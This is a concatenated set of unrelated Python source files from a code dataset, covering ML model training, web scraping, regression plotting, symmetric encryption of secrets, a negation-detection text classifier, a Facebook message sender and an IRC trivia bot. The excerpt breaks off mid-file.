degree=3, coef0=0.008, shrinking=True, probability=True,\n tol=0.001, gamma='auto', cache_size=200, class_weight=None, verbose=False, max_iter=-1,\n random_state=RANDOM_STATE)\n classifiers['gbc'] = GradientBoostingClassifier(loss='deviance', learning_rate=0.05, n_estimators=40, subsample=0.7,\n min_samples_split=2, min_samples_leaf=5, max_depth=3, init=None,\n min_weight_fraction_leaf=0.0, random_state=RANDOM_STATE, verbose=0,\n max_features=None, max_leaf_nodes=None, warm_start=False)\n classifiers['sgd'] = SGDClassifier(loss='log', penalty='l2', alpha=0.01, l1_ratio=0.1, fit_intercept=True,\n n_iter=1000, shuffle=True, verbose=0, epsilon=0.1, n_jobs=-1,\n random_state=RANDOM_STATE, learning_rate='optimal', eta0=0.0, power_t=0.1,\n class_weight=None, warm_start=False, average=False)\n for n in [10, 20, 40, 80, 160, 320]:\n classifiers['knn' + str(n).zfill(3)] = KNeighborsClassifier(n_neighbors=n, weights='uniform', algorithm='auto',\n leaf_size=75, p=2, metric='minkowski',\n metric_params=None)\n for n in range(TOTAL_NETS):\n classifiers['net' + str(n).zfill(2)] = make_net(2, n_features, 100)\n\n for clf in ignored:\n del classifiers[clf]\n\n return classifiers\n\n\ndef get_meta_features():\n ignored = ['svc']\n train_data, test_data, features, target = load_data('data.csv', small=True, part=20)\n train_data = train_data.reset_index(drop=True)\n classifiers = get_classifiers(len(features), ignored=ignored)\n total = time()\n\n # get meta features\n for clf_name in sorted(classifiers):\n start_time = time()\n print('processing ' + clf_name)\n train_loss, valid_loss = process_clf(classifiers[clf_name], clf_name, train_data, test_data, features, target)\n passed = (time() - start_time) / 60\n print('total (train,valid) Log Loss = (%.5f,%.5f). took %.2f minutes' % (train_loss, valid_loss, passed))\n\n # average neural nets' outputs\n test_data['meta_net'] = np.zeros(len(test_data))\n train_data['meta_net'] = np.zeros(len(train_data))\n for n in range(TOTAL_NETS):\n col = 'meta_' + 'net' + str(n).zfill(2)\n test_data['meta_net'] += test_data[col]\n train_data['meta_net'] += train_data[col]\n test_data.drop(col, axis=1, inplace=True)\n train_data.drop(col, axis=1, inplace=True)\n test_data['meta_net'] /= TOTAL_NETS\n train_data['meta_net'] /= TOTAL_NETS\n\n # write to file\n train_data.to_csv('train_meta.csv', index=False)\n test_data.to_csv('test_meta.csv', index=False)\n print('Generating meta features took %.2f minutes' % ((time() - total) / 60))\n\n\nif __name__ == '__main__':\n get_meta_features()\n","sub_path":"meta.py","file_name":"meta.py","file_ext":"py","file_size_in_byte":7471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"116152090","text":"# these should be the only imports you need\n\nimport requests\nfrom bs4 import BeautifulSoup\n\n# write your code here\n# usage should be python3 part3.py\nr = requests.get(\"https://www.michigandaily.com/\")\nsoup = BeautifulSoup(r.text,'html.parser')\nmost_read = soup.find_all(class_ = 'view-most-read')\nfor everyone in most_read:\n\ttext = everyone.find_all(\"li\")\n\tfor everylist in text:\n\t\tname = everylist.string\n\t\tlink = everylist.a['href']\n\t\tr_author = requests.get(\"http://michigandaily.com\" + link)\n\t\tauthor_soup = BeautifulSoup(r_author.text,'html.parser')\n\t\tif author_soup.find_all(\"div\",class_=\"byline\"):\n\t\t\tauthor_link = author_soup.find_all(class_ = 'byline')\n\t\t\tfor everylink in author_link:\n\t\t\t\tauthor_name = everylink.find_all( 'div', attrs = {'class':'link'})\n\t\t\t\tfor everyauthor in author_name:\n\t\t\t\t\tauthor = everyauthor.contents[0].string\n\t\telse:\n\t\t\tauthor = 'DAILY STAFF WRITER'\n\t\tprint(name, '\\n', 'by', author)\n","sub_path":"part3.py","file_name":"part3.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"554581747","text":"import numpy as np\nimport statsmodels.api as sm\nfrom statsmodels.stats.outliers_influence import summary_table\nfrom statsmodels.sandbox.regression.predstd import wls_prediction_std\nimport matplotlib.pyplot as plt\n\n# Generating data\nx = np.linspace(0, 10, 100)\ne = np.random.normal(size=100)\ny = 1 + 0.5*x + 2*e\nX = sm.add_constant(x) # adding column of 1's\n\n# Fitting linear regression model\nre = sm.OLS(y, X).fit()\nprint(re.summary())\n\n# Getting standard error of prediction and lower/upper confidence bounds\nprstd, iv_l, iv_u = wls_prediction_std(re)\n\n# Generate summary table of outlier and influence (similar to SAS)\nst, data, ss2 = summary_table(re, alpha=0.05)\nprint(st)\n\n# Pulling relevant data and give it meaningful names\nfittedvalues = data[:,2]\npredict_mean_se = data[:,3]\npredict_mean_ci_low, predict_mean_ci_upp = data[:,4:6].T\npredict_ci_low, predict_ci_upp = data[:,6:8].T\n\n# Check we got the right things\nprint(np.max(np.abs(re.fittedvalues - fittedvalues)))\nprint(np.max(np.abs(iv_l - predict_ci_low)))\nprint(np.max(np.abs(iv_u - predict_ci_upp)))\n\n# Plotting data and confidence lines\nplt.plot(x, y, 'o')\nplt.plot(x, fittedvalues, 'r-', lw=2)\nplt.plot(x, predict_ci_low, 'b:', lw=2)\nplt.plot(x, predict_ci_upp, 'b:', lw=2)\nplt.plot(x, predict_mean_ci_low, 'g:', lw=2)\nplt.plot(x, predict_mean_ci_upp, 'g:', lw=2)\nplt.show()\n","sub_path":"statistics/prediction_intervals.py","file_name":"prediction_intervals.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"208659197","text":"# Copyright 2018, Michael DeHaan LLC\n# License: Apache License Version 2.0\n# -------------------------------------------------------------------------\n# basic.py - this is a cloaking plugin for symetric encryption of secrets.\n# it's not intended to be a fortress but for the implementation to use\n# when you're not using something more complex. It is versioned by implementation\n# classes so the plugin can support improvements in existing cloaked secrets\n# when required.\n# --------------------------------------------------------------------------\n\nimport binascii\n\nfrom cryptography import fernet\nfrom django.conf import settings\n\n\nclass BasicV1(object):\n\n HEADER = \"[SRCOPT-CLOAK][BASIC][V1]\"\n\n def __init__(self):\n pass\n\n def get_key(self):\n symmetric = settings.SYMMETRIC_SECRET_KEY\n fh = open(symmetric, 'rb')\n data = fh.read()\n fh.close()\n return data\n\n def cloak(self, msg):\n symmetric = self.get_key()\n ff = fernet.Fernet(symmetric)\n msg = msg.encode('utf-8')\n encrypted = ff.encrypt(msg)\n printable = binascii.hexlify(encrypted).decode('ascii')\n versioned = \"%s%s\" % (self.HEADER, printable)\n return versioned\n\n def decloak(self, msg):\n symmetric = self.get_key()\n ff = fernet.Fernet(symmetric)\n encrypted = msg.replace(self.HEADER, \"\", 1)\n bytes = binascii.unhexlify(encrypted)\n unencrypted = ff.decrypt(bytes).decode('utf-8')\n return unencrypted\n\n\nclass Plugin(object):\n\n HEADER = \"[SRCOPT-CLOAK][BASIC]\"\n\n def __init__(self):\n pass\n\n def implementation_for_version(self, msg):\n if msg.startswith(BasicV1.HEADER):\n return BasicV1()\n raise Exception(\"unknown cloaking version\")\n\n def cloak(self, msg):\n return BasicV1().cloak(msg)\n\n def decloak(self, msg):\n impl = self.implementation_for_version(msg)\n return impl.decloak(msg)\n\n def recognizes(self, msg):\n if settings.SYMMETRIC_SECRET_KEY is None:\n # user didn't run 'make secrets' yet, so disable the plugin\n return False\n return msg.startswith(self.HEADER)\n","sub_path":"source_optics/plugins/secrets/cloak_v1.py","file_name":"cloak_v1.py","file_ext":"py","file_size_in_byte":2188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"265369848","text":"import re\nfrom textblob import TextBlob\nfrom NegEx import negation_scope\n \nclass processor :\n \n######################################################################\n \n def __init__(self,config) :\n self.target_phrases = config.get('target_phrases') or []\n self.skip_phrases = config.get('skip_phrases') or []\n \n #self.start_phrase = config.get('start_phrase') or ''\n #sb, 061320\n self.start_phrase = config.get('start_phrase') or []\n self.absolute_negative_phrases = config.get('absolute_negative_phrases') or []\n self.absolute_positive_phrases = config.get('absolute_positive_phrases') or []\n \n self.orig_text = ''\n self.final_answer = ''\n self.ambiguous = ''\n \n self.target_sentences = dict()\n self.negex_debug = dict()\n \n######################################################################\n \n def process_text(self,text) :\n self.orig_text = text\n self.examine_text()\n return self.final_answer\n \n def examine_text(self) :\n text = self.orig_text\n if not text : return\n \n start_phrase = self.start_phrase\n \n for sp in start_phrase:\n regex = re.compile(re.escape(sp)+'\\s+(\\w.*)\\Z',re.I)\n match = re.search(regex,str(text))\n if match : \n #print('match')\n text = str(match.group(1))\n break \n \n text = re.sub(\"\\s+\",' ',str(text)) # flattens all spaces to only one character\n #sb, 041520\n #text = re.sub(':','.',text) # treat colon ':' like a period '.'\n \n TB_obj = TextBlob(text)\n sentences = TB_obj.sentences if TB_obj else []\n for sentence in sentences :\n skip = 0\n for s_p in self.skip_phrases :\n regex = re.compile(r'\\b'+s_p+r'\\b',re.I)\n if re.search(regex,str(sentence)) :\n skip = 1\n break\n if skip : continue # skip phrase matched, go to next sentence\n \n target_match = 0\n for t_p in self.target_phrases :\n regex = re.compile(r'\\b'+t_p+r'\\b',re.I)\n if re.search(regex,str(sentence)) :\n target_match = 1\n break\n if not target_match : continue # no target phrase matched, go to next sentence\n \n self.target_sentences[str(sentence)] = 'present'\n n_scope = negation_scope(sentence)\n if n_scope :\n self.negex_debug[str(sentence)] = str(n_scope[0])+' - '+str(n_scope[1])\n words = []\n for word in sentence.split() :\n word = re.sub(\"\\W\",\"\",word)\n words.append(word)\n \n negated = 0\n for negation_index in range(n_scope[0],n_scope[1]+1) :\n if negation_index == len(words) : continue\n for t_p in self.target_phrases :\n if len(t_p.split()) > 1 :\n # target phrase has more than one word\n # only use the first word for matching\n t_p = t_p.split()[0]\n regex = re.compile(r'\\b'+t_p+r'\\b',re.I)\n if re.search(regex,words[negation_index]) :\n self.target_sentences[str(sentence)] = 'absent'\n negated = 1\n break\n if negated > 0 : break\n \n if len(self.target_sentences) > 0 :\n final_answer = dict()\n for sentence, answer in self.target_sentences.items() :\n final_answer[answer] = final_answer[answer]+1 if final_answer.get(answer) else 1\n self.final_answer = answer\n if len(final_answer) > 1 :\n self.ambiguous = 1\n if not final_answer['absent'] : final_answer['absent'] = 0\n if not final_answer['present'] : final_answer['present'] = 0\n if final_answer['absent'] > final_answer['present'] :\n self.final_answer = 'absent'\n elif final_answer['present'] > final_answer['absent'] :\n self.final_answer = 'present'\n else :\n # There are an equal number of absent/present findings - defaulting to present\n self.final_answer = 'present'\n else :\n self.final_answer = 'absent'\n \n for abs_positive in self.absolute_positive_phrases :\n regex = re.compile(r'\\b'+abs_positive+r'\\b',re.I)\n if re.search(regex,text) :\n if self.final_answer == 'absent' :\n self.ambiguous = 3\n self.final_answer = 'present'\n \n for abs_negative in self.absolute_negative_phrases :\n regex = re.compile(r'\\b'+abs_negative+r'\\b',re.I)\n if re.search(regex,text) :\n if self.final_answer == 'present' :\n self.ambiguous = 2\n self.final_answer = 'absent'\n \n \n def ambiguous_readable(self) :\n out = ''\n if self.ambiguous == 1 :\n out = 'Yes. Target phrase was present and absent in different sentences.'\n elif self.ambiguous == 2 :\n out = 'Absolute negative phrase matched but the answer was going to be present otherwise.'\n elif self.ambiguous == 3 :\n out = 'Absolute positive phrase matched but the answer was going to be absent otherwise.'\n else :\n out = 'No'\n return out\n \n def debug(self) :\n sentences = []\n negex = []\n for k,v in self.target_sentences.items() :\n sentences.append(str(k)+\" : \"+str(v))\n for k,v in self.negex_debug.items() :\n negex.append(str(k)+\" : Negated between word indexes: \"+str(v))\n return \"Sentences with target phrase match:\\r\\n\"+\"\\r\\n\".join(sentences)+\"\\r\\n\\r\\nNegated Sentences:\\r\\n\"+\"\\r\\n\".join(negex)\n \n def config(self) :\n out = 'Target Phrases: '+str(self.target_phrases)+\"\\r\\n\\r\\n\"\n out += 'Skip Phrases: '+str(self.skip_phrases)+\"\\r\\n\\r\\n\"\n out += 'Start Phrase: '+str(self.start_phrase)+\"\\r\\n\\r\\n\"\n out += 'Absolute Positive Phrases: '+str(self.absolute_positive_phrases)+\"\\r\\n\\r\\n\"\n out += 'Absolute Negative Phrases: '+str(self.absolute_negative_phrases)+\"\\r\\n\\r\\n\"\n return out\n \n def reset(self) :\n self.orig_text = ''\n self.target_sentences = dict()\n self.final_answer = ''\n self.ambiguous = ''\n","sub_path":"simpleNLP.py","file_name":"simpleNLP.py","file_ext":"py","file_size_in_byte":6519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"107578077","text":"import os, pprint, sys, time, threading, mysql.connector\nimport urllib2, json, subprocess\nimport requests\nfrom requests_toolbelt import MultipartEncoder\n\n\nclass MyThread(threading.Thread):\n def __init__(self):\n super(MyThread, self).__init__()\n\n self.exit = False\n self.counter = 0\n\n def finish(self):\n self.exit = True\n\n def run(self):\n while (not self.exit):\n self.monitoring()\n time.sleep(0.5)\n\n def monitoring(self):\n if self.counter > 40:\n print(\"Server-\"+sys.argv[1]+\" => \"+time.ctime())\n self.counter = 0;\n\n self.counter = self.counter + 1\n\n #verificar mensagens do BD para enviar\n cnx = mysql.connector.connect(user='root', password='root', database='zapserver', use_unicode=True)\n # cnx = pymysql.connect(host='localhost', user='root', password='root', db='zapserver', charset='utf8mb4', cursorclass=pymysql.cursors.DictCursor)\n\n cursor = cnx.cursor()\n cursor.execute('SET NAMES utf8mb4')\n cursor.execute(\"SET CHARACTER SET utf8mb4\")\n cursor.execute(\"SET character_set_connection=utf8mb4\")\n\n cursor.execute(\"select id, jidServer, jidClient, message, data, length(data), url, extension, imageLabel \"\n \"from Queue where (dateTimetoSend < now() or dateTimetoSend is null) and status = 'S' \"\n \"and jidServer = '\"+jidServer+\"' and url = 'facebook' LIMIT 10\")\n\n currentIDs = []\n\n for (row0, row1, row2, row3, row4, row5, row6, row7, row8) in cursor:\n req = urllib2.Request(URL_ACCESS_TOKEN)\n req.add_header('Content-Type', 'application/json')\n\n if row8 is None:\n print(\"Text Message \"+str(row0))\n try:\n postdata = {\"recipient\":{\"id\":str(row2) },\n\t \"message\":{\"text\":row3.encode('utf-8', 'ignore').decode('utf-8') }}\n data = json.dumps(postdata)\n urllib2.urlopen(req, data)\n except:\n e = sys.exc_info()[0]\n print(\"Error: %s\" % e)\n\n currentIDs += [str(row0)]\n\n for id in currentIDs:\n cursor.execute(\"DELETE FROM Queue where id = %s\",[id])\n print(\"Removing \"+id)\n\n cnx.commit()\n cursor.close()\n\n\n# Getting the token from command-line is better than embedding it in code,\n# because tokens are supposed to be kept secret.\nURL_ACCESS_TOKEN = 'https://graph.facebook.com/v2.6/me/messages?access_token=' + str(sys.argv[3])\nACCESS_TOKEN = str(sys.argv[3])\njidServer = sys.argv[2]\nprint ('Starting jidServer:'+jidServer)\n\nthread = MyThread()\nthread.start()\n\n# Keep the program running.\nwhile 1:\n time.sleep(10)\n","sub_path":"SPLIMBo/src/com/splimbo/monitors/facebookMonitor.py","file_name":"facebookMonitor.py","file_ext":"py","file_size_in_byte":2781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"306159609","text":"\"\"\"A script that trains a model for IQT random forest\nusing previously created dataset.\n\"\"\"\n\nimport pickle\n\nimport numpy as np\nfrom hpsklearn import HyperoptEstimator, random_forest_regression\nfrom hyperopt import hp, tpe\nfrom hyperopt.pyll.base import scope\nfrom hyperopt.pyll.stochastic import sample\nfrom scipy.stats import randint\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import mean_absolute_error\nfrom sklearn.model_selection import RandomizedSearchCV\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.tree import DecisionTreeRegressor\nfrom permetrics.regression import Metrics\n\nimport utils\n\n\ndef estimate_random_forest(train_lr, train_hr):\n n_estimators = sample(scope.int(hp.quniform('n_estimators', 10, 14, 1)))\n max_depth = sample(scope.int(hp.quniform('max_depth', 40, 50, 1)))\n min_samples_split = sample(\n scope.int(hp.quniform('min_samples_split', 1, 40, 1)))\n min_samples_leaf = sample(\n scope.int(hp.quniform('min_samples_leaf', 1, 20, 1)))\n max_features = hp.choice('max_features', ['auto', 'sqrt', 'log2'])\n bootstrap = hp.choice('bootstrap', [True, False])\n\n evals = 20\n estim = HyperoptEstimator(algo=tpe.suggest, regressor=random_forest_regression('my_forest', bootstrap=False),\n preprocessing=[], max_evals=evals, trial_timeout=10800)\n estim.fit(train_lr, train_hr)\n\n return estim.best_model()\n\n\ndef find_reg_tree(train_lr, train_hr):\n reg_tree = DecisionTreeRegressor(\n max_features='sqrt').fit(train_lr, train_hr)\n\n param_dist = {\"max_depth\": randint(20, 150),\n \"min_samples_split\": randint(5, 50),\n \"min_samples_leaf\": randint(1, 25)}\n\n n_iter_search = 50\n random_search = RandomizedSearchCV(\n reg_tree, param_distributions=param_dist, n_iter=n_iter_search)\n random_search.fit(train_lr, train_hr)\n\n return random_search.best_estimator_\n\n\ndef train_lin_reg(train_lr, train_hr, datasample_rate):\n print(\"Training the linear regression model...\")\n lin_reg = LinearRegression().fit(train_lr, train_hr)\n\n # save the model\n with open('models/lin_reg_model' + str(datasample_rate) + '.pickle', 'wb') as handle:\n pickle.dump(lin_reg, handle)\n\n return lin_reg\n\n\ndef train_reg_tree(train_lr, train_hr, datasample_rate):\n print(\"Training the decision tree regressor...\")\n reg_tree = DecisionTreeRegressor(max_depth=102, max_features='sqrt', min_samples_leaf=24,\n min_samples_split=19).fit(train_lr, train_hr)\n\n # save the model\n with open('models/reg_tree_model' + str(datasample_rate) + '.pickle', 'wb') as handle:\n pickle.dump(reg_tree, handle)\n\n return reg_tree\n\n\ndef train_ran_forest(train_lr, train_hr, datasample_rate):\n print(\"Training the random forest...\")\n ran_forest = RandomForestRegressor(bootstrap=False, max_features=0.4346383681719076,\n n_estimators=50, n_jobs=-1, random_state=1).fit(train_lr, train_hr)\n\n # save the model\n with open('models/ran_forest_model' + str(datasample_rate) + '.pickle', 'wb') as handle:\n pickle.dump(ran_forest, handle)\n\n return ran_forest\n\n\ndef fit_scaler(train_lr):\n scaler = MinMaxScaler()\n scaler.fit(train_lr)\n\n # save the scaler\n with open('models/min_max_scaler.pickle', 'wb') as handle:\n pickle.dump(scaler, handle)\n\n return scaler\n\n\ndef calculate_gaussian(train_lr):\n print(\"Calculating the mean...\")\n mean = np.mean(train_lr, axis=0)\n print(\"Calculating the variance...\")\n covariance = np.cov(train_lr, rowvar=False)\n\n # save the normal distribution\n with open('models/mean.pickle', 'wb') as handle:\n pickle.dump(mean, handle)\n\n with open('models/covariance.pickle', 'wb') as handle:\n pickle.dump(covariance, handle)\n\n return mean, covariance\n\nif __name__ == \"__main__\":\n rate = 10\n lr, hr = utils.load_training_data(rate)\n model = train_ran_forest(lr, hr, rate)\n \n lr, hr = utils.load_testing_data(5)\n pred_mod = model.predict(lr)\n \n obj = Metrics(hr.flatten(), pred_mod.flatten())\n err = obj.mean_arctangent_absolute_percentage_error(clean=True, decimal=5)\n \n print(\"Mean arctangent absolute percentage error for the model:\", err)\n ","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"492372143","text":"#!/usr/bin/python2\n# Copyright (C) 2013 Joe Rawson\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n#\n# Need to load the scores, if they exist, and connect to irc, displaying\n# a welcome message.\n#\n# Scores should be kept in a class which will hold a nick -> score dict\n# object, and at the end of every question will dump the dict to json\n# where it can be loaded from. This might get weird if people start using\n# weird nicks, but we'll cross that road when we get to it.\n#\n# irc connection should be a class, and we should use twisted. We don't\n# really care if people come and go, since everyone in the channel is\n# playing. Should handle this like karma. Watch all traffic, and if\n# someone blurts out a string that matches the answer, they get the points.\n# If they haven't scored before, add them to the scoreboard and give them\n# their points, else, add their points to their total. Then dump the json.\n#\n# This bot requires there to be a ../questions/ directory with text files\n# in it. These files are named after there genres, so \"80s Films.txt\"\n# and the like. While the bot is running, it will randomly choose a\n# file from this directory, open it, randomly choose a line, which is\n# a question*answer pair, then load that into a structure to be asked.\n#\n# Once the question is loaded, the bot will ask the IRC channel the\n# question, wait a period of time, show a character, then ask the question\n# again.\n#\n# The bot should respond to /msgs, so that users can check their scores,\n# and admins can give admin commands, like die, show all scores, edit\n# player scores, etc. Commands should be easy to implement.\n#\n# Every so often between questions the bot should list the top ranked\n# players, wait some, then continue.\n#\n\nimport json\nfrom os import execl, listdir, path, makedirs\nfrom random import choice, randint\nimport re\nimport sys\n\nfrom twisted.words.protocols import irc\nfrom twisted.internet import reactor\nfrom twisted.internet import ssl\nfrom twisted.internet.protocol import ClientFactory\nfrom twisted.internet.task import LoopingCall\n\nfrom lib.answer import Answer\n\nimport config\n\n\nclass triviabot(irc.IRCClient):\n '''\n This is the irc bot portion of the trivia bot.\n\n It implements the whole program so is kinda big. The algorithm is\n implemented by a series of callbacks, initiated by an admin on the\n server.\n '''\n def __init__(self):\n self._answer = Answer()\n self._question = ''\n self._scores = {}\n self._userlist = {}\n self._clue_number = 0\n self._admins = list(config.ADMINS)\n self._game_channel = config.GAME_CHANNEL\n self._current_points = 5\n self._questions_dir = config.Q_DIR\n self._lc = LoopingCall(self._play_game)\n self._restarting = False\n self._quit = False\n self._load_game()\n self._votes = 0\n self._voters = []\n self._no_plays = 0\n\n def _get_nickname(self):\n return self.factory.nickname\n\n nickname = property(_get_nickname)\n\n def _get_realname(self):\n return self.factory.realname\n\n realname = property(_get_realname)\n\n def _get_lineRate(self):\n return self.factory.lineRate\n\n lineRate = property(_get_lineRate)\n\n def _gmsg(self, msg):\n \"\"\"\n Write a message to the channel playing the trivia game.\n \"\"\"\n self.msg(self._game_channel, msg)\n\n def _play_game(self):\n '''\n Implements the main loop of the game.\n '''\n self._points = {0: 100,\n 1: 75,\n 2: 50,\n 3: 25\n }\n self._cluelabels= {0: 'Clue:',\n 1: '2nd Clue:',\n 2: '3rd Clue:',\n 3: 'Final Clue:'\n }\n if self._clue_number == 0:\n self._votes = 0\n self._voters = []\n self._get_new_question()\n self._current_points = self._points[self._clue_number]\n # Blank line.\n self._gmsg(\"\")\n self._gmsg(\"Next question:\")\n self._gmsg(self._question)\n self._gmsg(\"%s %s Points: %d\" % (self._cluelabels[self._clue_number],\n self._answer.current_clue(), self._current_points))\n self._clue_number += 1\n # we must be somewhere in between\n elif self._clue_number < 4:\n self._current_points = self._points[self._clue_number]\n self._gmsg('%s %s Points: %d' % (self._cluelabels[self._clue_number],\n self._answer.give_clue(), self._current_points))\n self._clue_number += 1\n # no one must have gotten it.\n else:\n self._gmsg('No one got it. The answer was: %s' %\n self._answer.answer)\n self._clue_number = 0\n self._no_plays += 1\n # Stop gameplay after 10 questions of no activity\n if (self._no_plays == 10):\n self._gmsg('It appears I am talking to myself now!')\n self._stop()\n else:\n self._get_new_question()\n\n def irc_RPL_NAMREPLY(self, *nargs):\n '''\n Called when we get a reply to NAMES\n Using this for tracking user modes, in a simplistic manner\n '''\n if (nargs[1][2] != self._game_channel): return\n users = nargs[1][3].split()\n for u in users:\n split = re.split('(\\~|\\&|\\@|\\%|\\+)', u)\n try:\n mode = split[1]\n user = split[2]\n except IndexError:\n mode = ''\n user = split[0]\n mode = mode.replace('+', 'voice')\n mode = mode.replace('%', 'halfop')\n mode = mode.replace('@', 'op')\n mode = mode.replace('&', 'admin')\n mode = mode.replace('~', 'owner')\n # This is for us joining the channel and re-checking after mode changes\n try:\n self._userlist[user]\n self._userlist['modes'] = (mode,)\n except:\n self._userlist[user] = {}\n self._userlist[user]['wins'] = 0\n self._userlist[user]['modes'] = (mode,)\n self._userlist[user]['strikes'] = 0\n\n def signedOn(self):\n '''\n Actions to perform on signon to the server.\n '''\n try:\n config.IDENT_PASS\n self.msg('NickServ', 'identify %s' % config.IDENT_PASS)\n except:\n pass\n self.mode(self.nickname, True, config.DEFAULT_MODES)\n print(\"Signed on as %s.\" % (self.nickname,))\n self.join(self._game_channel)\n if self.factory.running:\n self._start(None, None, None)\n else:\n self._gmsg('Welcome to %s!' % self._game_channel)\n self._gmsg(\"For how to use this bot, just say ?help or '%s help'.\" % self.nickname)\n\n def joined(self, channel):\n '''\n Callback runs when the bot joins a channel\n A join automatically receives a NAMES reply, for user listing\n '''\n print(\"Joined %s.\" % (channel,))\n if (channel != self._game_channel):\n self.leave(channel, 'No!')\n return\n\n def kickedFrom(self, channel, kicker, message):\n '''\n If we get kicked from gthe game channel,\n attempt to rejoin.\n '''\n print(\"Kicked from %s by %s: %s\" % (channel, kicker, message))\n if (channel != self._game_channel):\n return\n self.join(self._game_channel)\n\n def userJoined(self, user, channel):\n '''\n Callback for when other users join the channel\n '''\n if channel != self._game_channel: return\n # Add user to userlist, track wins, modes, and strikes of user\n self._userlist[user] = {}\n self._userlist[user]['wins'] = 0\n self._userlist[user]['modes'] = ('',)\n self._userlist[user]['strikes'] = 0\n # If admin, don't send intro notice and op them\n try:\n self._admins.index(user)\n self.mode(channel, True, 'o', user=user)\n self._userlist[user]['modes'].append('op')\n except:\n self.notice(user, \"Welcome to %s!\" % self._game_channel)\n self.notice(user, \"For how to use this bot, just say ?help or '%s help'.\" % self.nickname)\n if not self.factory.running:\n self.notice(user, \"Just say ?start to start the game when you are ready.\")\n\n def userLeft(self, user, channel):\n '''\n Called when a user leaves the game channel\n '''\n if channel != self._game_channel: return\n if user in self._userlist:\n del self._userlist[user]\n\n def userQuit(self, user, quitMessage):\n '''\n Called when a user quits\n '''\n if channel != self._game_channel: return\n if user in self._userlist:\n del self._userlist[user]\n\n def userKicked(self, kickee, channel, kicker, message):\n '''\n Called when a user is kicked from the game channel\n '''\n if channel != self._game_channel: return\n if kickee in self._userlist:\n del self._userlist[kickee]\n\n def userRenamed(self, oldname, newname):\n '''\n Called when a user changes nicknames\n '''\n if oldname in self._userlist:\n self._userlist[newname] = self._userlist.pop(oldname)\n\n def modeChanged(self, user, channel, set, modes, args):\n '''\n Called when a mode change is seen\n '''\n if channel != self._game_channel: return\n #print('MODE: %s : direction %d : %s and %s' % (user, set, modes, args))\n # Check if 'our' users are part of a mode change, re-run NAMES\n user_change = False\n for u in self._userlist:\n if (u in args):\n user_change = True\n break\n if (user_change == False): return\n self.sendLine('NAMES %s' % channel)\n\n def privmsg(self, user, channel, msg):\n '''\n Parses out each message and initiates doing the right thing\n with it.\n '''\n user, temp = user.split('!')\n #print(user+\" : \"+channel+\" : \"+msg)\n # ignore STATUSMSGs, lazy check\n if (not channel[0] == \"#\"):\n return\n # need to strip off colors if present.\n try:\n while not msg[0].isalnum() and not msg[0] == '?':\n msg = msg[1:]\n except IndexError:\n return\n\n # parses each incoming line, and sees if it's a command for the bot.\n try:\n if (msg[0] == \"?\"):\n command = msg.replace('?', '').split()[0]\n args = msg.replace('?', '').split()[1:]\n self.select_command(command, args, user, channel)\n return\n elif (msg.split()[0].find(self.nickname) == 0):\n command = msg.split()[1]\n args = msg.replace(self.nickname, '').split()[2:]\n self.select_command(command, args, user, channel)\n return\n # if not, try to match the message to the answer.\n else:\n if msg.lower().strip() == self._answer.answer.lower():\n self._no_plays = 0\n self._winner(user, channel)\n self._save_game()\n except:\n return\n # Assuming this is gameplay\n self._no_plays = 0\n\n def _winner(self, user, channel):\n '''\n Congratulates the winner for guessing correctly and assigns\n points appropriately, then signals that it was guessed.\n '''\n if channel != self._game_channel:\n self.msg(channel,\n \"I'm sorry, answers must be given in the game channel.\")\n return\n self._gmsg(\"%s GOT IT!\" % user)\n try:\n self._scores[user] += self._current_points\n except:\n self._scores[user] = self._current_points\n self._gmsg(\"%s points have been added to your score!\" %\n str(self._current_points))\n self._clue_number = 0\n self._get_new_question()\n self._userlist[user]['wins'] += 1\n if (self._userlist[user]['wins'] == 2):\n self.mode(channel, True, 'v', user=user)\n self._gmsg('Five correct answers! That earns you a voice!')\n self._userlist[user]['modes'].append('voice')\n elif (self._userlist[user]['wins'] == 4):\n self.mode(channel, True, 'h', user=user)\n self._gmsg('Another fifteen correct answers, have some halfops!')\n self._userlist[user]['modes'].append('halfop')\n\n def ctcpQuery(self, user, channel, msg):\n '''\n Responds to ctcp requests.\n '''\n msg = str(msg[0][0]).lower()\n user = (user.split(\"!\"))[0]\n if (msg == 'action'): return\n print(\"CTCP from %s : %s\" % (user, msg))\n if (msg == 'version'):\n self.notice(user, \"CTCP VERSION: Trivia Bot!\")\n elif (msg == 'time'):\n self.notice(user, \"CTCP TIME: Trivia Time!\")\n elif (msg == 'ping'):\n self.notice(user, \"CTCP PING: Trivia Pong!\")\n else:\n self.notice(user, \"Unknown CTCP Query!\")\n\n def _help(self, args, user, channel):\n '''\n Tells people how to use the bot.\n Replies differently if you are an admin or a regular user.\n Only responds to the user since there could be a game in\n progress.\n '''\n try:\n self._admins.index(user)\n except:\n self.notice(user, \"Commands: start, stop, score, standings, \"\n \"question, clue, help, next, source\")\n return\n self.notice(user, \"Commands: start, stop, score, standings, \"\n \"question, clue, help, next, source\")\n self.notice(user, \"Admin commands: skip, restart, die, \"\n \"set , save\")\n\n def _show_source(self, args, user, channel):\n '''\n Tells people how to use the bot.\n Only responds to the user since there could be a game in\n progress.\n '''\n self.notice(user, 'My source can be found at: '\n 'https://github.com/genius3000/triviabot')\n self.notice(user, 'Original source can be found at: 